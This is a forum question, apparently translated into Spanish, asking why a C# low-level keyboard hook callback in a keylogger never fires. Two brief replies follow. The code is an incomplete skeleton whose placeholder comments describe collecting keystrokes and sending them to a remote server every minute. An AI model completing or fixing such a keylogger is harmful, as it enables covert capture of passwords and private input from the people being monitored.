Estoy escribiendo un registrador de teclas en C#, pero estoy teniendo algunos problemas para obtener mi método de enlace llamado desde los eventos del teclado. Mi código parece correcto, pero por alguna razón la devolución de llamada no está sucediendo.No se ha llamado al gancho del teclado de nivel bajo en la aplicación .NET
Este es el código correspondiente:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install low level global keyboard hook */
HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);
/* every 60 seconds, process collected keystrokes */
for (;;)
{
Thread.Sleep(60000);
SendKeyData();
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
/* code to handle key events would be here */
return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}
private static void SendKeyData()
{
/* code to send accumulated keystroke data to remote server would be here */
}
La llamada SetWindowsHookEx
devuelve un identificador (es decir, no un nulo) como debe ser, por lo que debería significar que está instalado, pero cuando pongo un punto de interrupción en HookCallback
nunca se alcanza
¿Alguien puede por favor informar lo que puedo estar haciendo mal?
¿Funciona si comenta el bloque 'for'? –
No, el proceso simplemente termina inmediatamente si hago eso. –
Probablemente sea una mejor práctica usar un temporizador en lugar de un ciclo infinito. Al menos con un temporizador puedes detenerlo si es necesario. – jlafay